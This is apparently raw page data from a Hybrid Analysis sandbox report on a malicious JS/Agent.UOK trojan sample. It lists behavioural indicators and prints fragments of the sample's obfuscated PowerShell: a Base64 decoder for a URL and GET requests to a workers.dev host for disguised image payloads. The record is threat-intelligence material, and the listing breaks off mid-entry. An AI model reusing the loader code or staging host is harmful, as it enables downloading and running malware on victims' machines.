26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 57:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4c3,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious JS/Agent.UOK trojan Sample abb74c6d537b… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample abb74c6d537b…. Malware family: JS/Agent.UOK trojan. Threat score 100/100. 1/26 AV engines flagged this file. 6 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/abb74c6d537b8787196ebc93b38672eccab4812b7bb27ac00be73377bb08e92e","keywords":["Malicious","JS/Agent.UOK trojan","malware analysis","sandbox report","threat intelligence","abb74c6d537b8787196ebc93b38672eccab4812b7bb27ac00be73377bb08e92e"],"about":{"@type":"SoftwareApplication","name":"abb74c6d537b8787196ebc93b38672eccab4812b7bb27ac00be73377bb08e92e.bin","applicationCategory":["html"],"identifier":"abb74c6d537b8787196ebc93b38672eccab4812b7bb27ac00be73377bb08e92e","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"JS/Agent.UOK trojan","antivirusDetections":{"malicious":1,"total":26},"behavioralIndicators":{"malicious":6,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T511,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp")28:T4b5,Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00005788-00000BC0-1419557327") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found reference to "TripleDES" (Indicator: "TripleDES"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to "LegalKeySizesValue" (Indicator: "KeySizes"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to "Rijndael" (Indicator: "Rijndael"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to "CryptoStream" (Indicator: "CryptoStream"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to "KeySizes" (Indicator: "KeySizes"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp")29:T9e4,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\POWERSHELL\SCRIPTBLOCKLOGGING") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\POWERSHELL\SCRIPTBLOCKLOGGING") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\ENVIRONMENT") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\ENVIRONMENT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT ENHANCED RSA AND AES CRYPTOGRAPHIC PROVIDER") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT ENHANCED RSA AND AES CRYPTOGRAPHIC PROVIDER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DESHASHSESSIONKEYBACKWARD") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINTRUST\TRUST PROVIDERS\SOFTWARE PUBLISHING") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINTRUST\TRUST PROVIDERS\SOFTWARE PUBLISHING") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\PHYSICALSTORES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS")2a:Ta26,"powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1418562380 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1418570570 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1420310343 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1420318547 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1421124111 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1421132138 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1421476555 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1421498516 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1421634756 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1421642676 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1422432072 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1423539855 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1423548218 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1423891939 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1423900541 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1425318044 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1425326298 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1425484594 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1425492267 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1430381707 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1430404597 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1430413104 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1430451094 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1430459530 [PID: 5788] "powershell.exe" queried SystemProcessInformation at 00000000-00005788-00000C15-1430468139 [PID: 5788]2b:T930,file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00005788.00000000.155566.841F0000.00000004.mdmp, 00000000-00005788.00000000.155566.84270000.00000004.mdmp, 00000000-00005788.00000000.155566.85E10000.00000004.mdmp, 00000000-00005788.00000000.155566.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.841F0000.00000004.mdmp, 00000000-00005788.00000001.156236.84270000.00000004.mdmp, 00000000-00005788.00000001.156236.85E10000.00000004.mdmp, 00000000-00005788.00000001.156236.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.9ECE0000.00000004.mdmp") Found reference to API "[byte[]]$hobblingly=[Convert]::FromBase64String($widescale);" (Indicator: "FromBase64String"; Source: "00000000-00005788.00000000.155566.841F0000.00000004.mdmp, 00000000-00005788.00000000.155566.84270000.00000004.mdmp, 00000000-00005788.00000000.155566.85E10000.00000004.mdmp, 00000000-00005788.00000000.155566.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.841F0000.00000004.mdmp, 00000000-00005788.00000001.156236.84270000.00000004.mdmp, 00000000-00005788.00000001.156236.85E10000.00000004.mdmp, 00000000-00005788.00000001.156236.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.9ECE0000.00000004.mdmp") Found reference to API "enpierce=$corporatism=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('aAB0AHQAcABzADoALwAvAGIAbAB1AGUALQBwAGEAcABlAHIALQBmADYAOQBmAC4AYQBjAHIAeQBwAHQAZQByAHMALgB3AG8AcgBrAGUAcgBzAC4Aj" (Indicator: "FromBase64String"; Source: "00000000-00005788.00000000.155566.84270000.00000004.mdmp") Found reference to API "enpierce=$corporatism=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('aAB0AHQAcABzADoALwAvAGIAbAB1AGUALQBwAGEAcABlAHIALQBmADYAOQBmAC4AYQBjAHIAeQBwAHQAZQByAHMALgB3AG8AcgBrAGUAcgBzAC4A" (Indicator: "FromBase64String"; Source: "00000000-00005788.00000001.156236.84270000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00005788.00000001.156236.84270000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00005788.00000001.156236.9ECE0000.00000004.mdmp") Found reference to API "FromBase64String" (Indicator: "FromBase64String"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp")2c:T625,Contains base64 string in header "40PO" in header "GET /FTM0-40PO-AO28-G98E/img_u69eno.png HTTP/1.1User-Agent: Mozilla/5.0Host: blue-paper-f69f.acrypters.workers.devConnection: Keep-Alive" Contains base64 string in header "AO28" in header "GET /FTM0-40PO-AO28-G98E/img_u69eno.png HTTP/1.1User-Agent: Mozilla/5.0Host: blue-paper-f69f.acrypters.workers.devConnection: Keep-Alive" Contains base64 string in header "G98E/img" in header "GET /FTM0-40PO-AO28-G98E/img_u69eno.png HTTP/1.1User-Agent: Mozilla/5.0Host: blue-paper-f69f.acrypters.workers.devConnection: Keep-Alive" Contains base64 string in header "blue" in header "GET /FTM0-40PO-AO28-G98E/img_u69eno.png HTTP/1.1User-Agent: Mozilla/5.0Host: blue-paper-f69f.acrypters.workers.devConnection: Keep-Alive" Contains base64 string in header "f69f" in header "GET /FTM0-40PO-AO28-G98E/img_u69eno.png HTTP/1.1User-Agent: Mozilla/5.0Host: blue-paper-f69f.acrypters.workers.devConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /FTM0-40PO-AO28-G98E/img_u69eno.png HTTP/1.1User-Agent: Mozilla/5.0Host: blue-paper-f69f.acrypters.workers.devConnection: Keep-Alive" Contains base64 string in header "40PO" in header "GET /FTM0-40PO-AO28-G98E/img_02cwp8.png HTTP/1.1" Contains base64 string in header "AO28" in header "GET /FTM0-40PO-AO28-G98E/img_02cwp8.png HTTP/1.1" Contains base64 string in header "G98E/img" in header "GET /FTM0-40PO-AO28-G98E/img_02cwp8.png HTTP/1.1" Contains base64 string in header "netCache" in header "GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache"2d:T48b,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to decrypt/decode data Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to decrypt data Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: YARA signature match – Encryption algorithm2e:T13ce,"powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005788) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005788) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac7118fe7f0000000000000000000051ed231afe7f00000000000017020000000000000000000083c1adfba4dd00002a0000000000000050cd699e170200008fec231afe7f0000e0ac7118fe7f0000e0ac7118fe7f0000000000000000000000000000fe7f0000ffffff7f5ba3000000000000000000000000000000000000d8ce6518fe7f00002a0000000000000069c31e18fe7f00003100000000000000f003000000000000f403000000000000110001100000000090d0ef1e7c00000003a36719fe7f000090d0ef1e7c00000000000000000000002b00000000000000000000000000000020b02418fe7f0000b43f2318fe7f0000e0ce6518 (UID: 00000000-00005788) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000400000000000000000001f84170200000b8e211afe7f000000001f841702000002000000170200003800000000000000400000000000000030031f841702000088dde41f7c000000010000000000000003000000000000000100000000000000160000000000000020101e8417020000000000000000000000001e8417020000f092d09e170200000000000000000000de000000010000000000000000000000800000000000000004000000000000000000000000000000d893d09e1702000004000000000000003800000000000000f0986619fe7f00003800000000000000380000000000000000dfe41f7c000000c00c76e2fd7f000000000000 (UID: 00000000-00005788) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b0e9fdfd7f00000700000000000000000000000000000001000000000000008035be9e170200000000000000000000c0b2c09e170200004c986619fe7f000030d0c09e17020000b3ce6ce2fd7f0000b0b8c09e17020000004fe9fdfd7f0000d0b0e9fdfd7f000000000000000000000000000000000000b0b8c09e170200008035be9e1702000090ebc09e1702000058dfe41f7c0000004c986619fe7f0000010000000000000058dfe41f7c00000090ebc09e17020000b0b8c09e17020000010000000000000002bc6ce2fd7f000070b3c09e170200001087bf9e17020000feffffff040000007df0e8fdfd7f0000d0ebc09e (UID: 00000000-00005788) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000700000000000000000000000000000001000000000000008035be9e170200000000000000000000c0b2c09e170200004c986619fe7f0000b0d2c09e17020000b3ce6ce2fd7f000050b8c09e17020000384fe9fdfd7f0000d0b0e9fdfd7f00000000000000000000000000000000000050b8c09e170200008035be9e1702000090ebc09e1702000050dfe41f7c0000004c986619fe7f0000010000000000000050dfe41f7c00000090ebc09e1702000050b8c09e17020000010000000000000002bc6ce2fd7f000000000000000000001087bf9e1702000070b3c09e04000000feffffffffffffff8035be9e170200007df0e8fdfd7f000000000000 (UID: 00000000-00005788) "powershell.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005788) "powershell.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005788)2f:T520,Found reference to API "[System.Diagnostics.FileVersionInfo]::GetVersionInfo($this.FullName)" (Indicator: "GetVersion"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00005788.00000001.156236.9660A000.00000002.mdmp") Found reference to API "GetVersionInfo" (Indicator: "GetVersion"; Source: "00000000-00005788.00000001.156236.9F030000.00000004.mdmp")30:Ta0f,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "")31:T5da,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005788-00000C17-1422012867 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005788-00000C17-1422566202 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005788-00000C17-1423396601 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00005788-00000C17-1423650881 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005788-00000C17-1424409281 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005788-00000C17-1424640176 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005788-00000C17-142469048432:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")33:T34de,"powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter 